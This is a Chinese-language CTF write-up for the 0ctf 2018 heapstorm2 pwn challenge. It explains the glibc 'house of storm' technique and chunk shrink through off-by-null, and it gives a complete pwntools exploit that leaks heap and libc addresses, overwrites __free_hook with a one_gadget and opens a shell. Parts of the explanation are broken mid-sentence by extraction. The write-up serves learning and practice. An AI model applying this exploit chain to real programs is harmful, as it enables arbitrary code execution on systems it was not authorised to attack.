文章目录
- 前置知识
- 整体思路
-
- house of storm
-
- 如何进行一次house of storm
- house of storm原理
- house of storm具体流程
- chunk shrink
- exp
前置知识
unsortedbin attack largebin attack off by null 构造chunk shrink
整体思路
这道题即是
house of storm
如何进行一次house of storm
你可以做到:
- 任意地址的
chunk 分配
你需要完成:
- 控制一个
unsortedbin 和largebin 中的chunk ,且unsortedbin 中的要比largebin 中的大
house of storm原理
一句话描述一下
这实际上分为两个部分,首先,我们要知道,
那么我们便可以利用
largebinattack 可以写两个值- 第一个值错位写要申请的地方的
size ,使得堆地址最开始的0x55 或者0x56 为size - 第二个值写要申请的地方的
bk ,使得bk 为一个可写的值 - 然后申请大小为
0x50 的chunk 即可申请到unsortedbin 的bk
house of storm具体流程
- 假设要分配到
fake chunk - 写
unsortedbin 的chunk 的bk 为fake chunk 的地址 - 写
largebin 中的chunk 的bk 为fake chunk + 0x18 - 0x10 - 写
largebin 中的chunk 的bk_nextsize 为fake chunk + 0x3 - 0x20 - 申请一个大小为
0x50 的chunk
chunk shrink
上面我们提到需要控制
使用方法:小大小三个
exp
from pwn import * from LibcSearcher import * filename = './0ctf_2018_heapstorm2' context(log_level='debug') local = 1 all_logs = [] elf = ELF(filename) libc = elf.libc def debug(): for an_log in all_logs: success(an_log) pid = util.proc.pidof(sh)[0] gdb.attach(pid) pause() choice_words = 'Command: ' menu_add = 1 add_index_words = '' add_size_words = 'Size: ' add_content_words = '' menu_del = 3 del_index_words = 'Index: ' menu_show = 4 show_index_words = 'Index: ' menu_edit = 2 edit_index_words = 'Index: ' edit_size_words = 'Size: ' edit_content_words = 'Content: ' def add(index=-1, size=-1, content=''): sh.sendlineafter(choice_words, str(menu_add)) if add_index_words: sh.sendlineafter(add_index_words, str(index)) if add_size_words: sh.sendlineafter(add_size_words, str(size)) if add_content_words: sh.sendafter(add_content_words, content) def delete(index=-1): sh.sendlineafter(choice_words, str(menu_del)) if del_index_words: sh.sendlineafter(del_index_words, str(index)) def show(index=-1): sh.sendlineafter(choice_words, str(menu_show)) if show_index_words: sh.sendlineafter(show_index_words, str(index)) def edit(index=-1, size=-1, content=''): sh.sendlineafter(choice_words, str(menu_edit)) if edit_index_words: sh.sendlineafter(edit_index_words, str(index)) if edit_size_words: sh.sendlineafter(edit_size_words, str(size)) if edit_content_words: sh.sendafter(edit_content_words, content) def leak_info(name, addr): output_log = '{} => {}'.format(name, hex(addr)) all_logs.append(output_log) success(output_log) while True: if local: sh = process(filename) else: sh = remote('node4.buuoj.cn', ) # 第一步,利用off by null来构造chunk shrink进而分别获得重叠的一个largebin和一个unsortedbin chunk add(size=0x18) # 0 add(size=0x508) # 1 add(size=0x18) # 2 add(size=0x20) # 3防止合并 # 待会我们会将size为0x510的chunk进行off by null缩小到0x500,因此先在末尾写一个fake prev_size为0x500 payload = b'a'*0x4f0 + p64(0x500) edit(index=1, size=len(payload), content=payload) # 将大小为0x510的chunk添加到unsortedbin中去 delete(index=1) # 通过chunk 0进行off by null,来将unsortedbin中的大小为0x510的chunk改为0x500 payload = b'a'*(0x18 - 12) edit(index=0, size=len(payload), content=payload) # 申请两个chunk,加起来为0x500,且unsortedbin此时为空了 add(size=0x18) # 1 add(size=0x4d8) # 4 # 释放chunk1和chunk2,chunk2释放的时候由于prev_inuse=0,而prev_size为0x510,因此会将最开始的chunk0和chunk1整个部分合并 delete(index=1) delete(index=2) # 再申请回来从而获得重叠指针 add(size=0x18) # 1 add(size=0x4d8) # 2,和4重合,大小为0x4e0 add(size=0x20) # 5 # 下面这一部分和上面一模一样,没有任何区别 add(size=0x18) # 6 add(size=0x508) # 7 add(size=0x18) # 8 add(size=0x20) # 9防止合并 payload = b'a'*0x4f0 + p64(0x500) edit(index=7, size=len(payload), content=payload) delete(index=7) payload = b'a'*(0x18 - 12) edit(index=6, size=len(payload), content=payload) add(size=0x38) # 7 add(size=0x4b8) # 10 delete(index=7) delete(index=8) add(size=0x38) # 7 add(size=0x4b8) # 8,和10重合,大小为0x4c0 add(size=0x20) # 11 # 先后将小的和大的置入unsortedbin,然后申请回大的。 # 由于unsortedbin是先遍历先进入的(FIFO),因此会将小的置入largebin # 再释放大的,大的会添加到unsortedbin。现在大小为0x4e0的chunk在unsortedbin而大小为0x4c0的chunk在largebin delete(index=8) delete(index=2) add(size=0x4d8) # 2 delete(index=2) # 接下来开始house of storm。 # 我们设fake chunk在0x13370800前面0x20,以便于我们控制这一部分 array = 0x13370800 fake_chunk = array - 0x20 # unsortedbin的chunk中的bk改为要申请的chunk,这里即是我们的fake chunk payload = p64(0) + p64(fake_chunk) edit(index=4, size=len(payload), content=payload) # laregbin attack可以同时写两个值为堆地址,bk的值+0x10处,以及bk_nextsize+0x20处 # 核心的点就是我们要写fake_chunk + 3的地方为一个堆地址 # 因为堆地址开头要么为0x55,要么为0x56,因此错位可以写出来一个fake chunk的size payload = p64(0) + p64(fake_chunk + 0x18 - 0x10) # 这里是fd和bk payload += p64(0) + p64(fake_chunk + 0x3 - 0x20) # 这里是fd_nextsize和bk_nextsize edit(index=10, size=len(payload), content=payload) # 由于我们这里是mmap出来的空间,因此申请的chunk的mmap位必须为1,因此只有当堆地址为0x56开头才对 # 因此爆破。概率为1/2 try: add(size=0x48) # 2 payload = p64(0)*2 + p64(0)*3 + p64(0x13377331) + p64(0x13370800) edit(index=2, size=len(payload), content=payload) except EOFError: sh.close() continue # 申请到了,开始编辑,首先将两个用于加密的值都写为0,然后数组的第三个写为0x13377331从而可以打印 # 然后根据数组的排列,下一个我们写0x133707e3,这里是一个堆地址 payload = p64(0)*3 + p64(0x13377331) + p64(0x13370800) + p64(8) + p64(0x133707e3) + p64(8) edit(index=0, size=len(payload), content=payload) # 根据排列,现在index=1的话也就是0x133707e3,便可以泄露出堆地址 show(index=1) sh.recvuntil('Chunk[1]: ') heap_leak = u64(sh.recv(6).ljust(8, b'x00')) leak_info('heap_base', heap_leak) heap_base = heap_leak - 0x40 # 同理,我们再打印libc。heap_base + 0x50的地方有一个libc地址。 payload = p64(0)*3 + p64(0x13377331) + p64(0x13370800) + p64(8) + p64(heap_base + 0x50) + p64(8) edit(index=0, size=len(payload), content=payload) show(index=1) sh.recvuntil('Chunk[1]: ') libc_leak = u64(sh.recv(6).ljust(8, b'x00')) leak_info('libc_leak', libc_leak) libc.address = libc_leak - libc.sym['__malloc_hook'] - 0x58 - 0x10 leak_info('libc.address', libc.address) # 接下来只需要以同样方式来打free_hook即可! payload = p64(0)*3 + p64(0x13377331) + p64(0x13370800) + p64(8) + p64(libc.sym['__free_hook']) + p64(8) edit(index=0, size=len(payload), content=payload) one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147] payload = p64(libc.address + one_gadget[1]) edit(index=1, size=len(payload), content=payload) delete(index=0) sh.interactive() # debug() break
参考内容
[原创]Largebin attack总结-二进制漏洞-看雪-安全社区|安全招聘|kanxue.com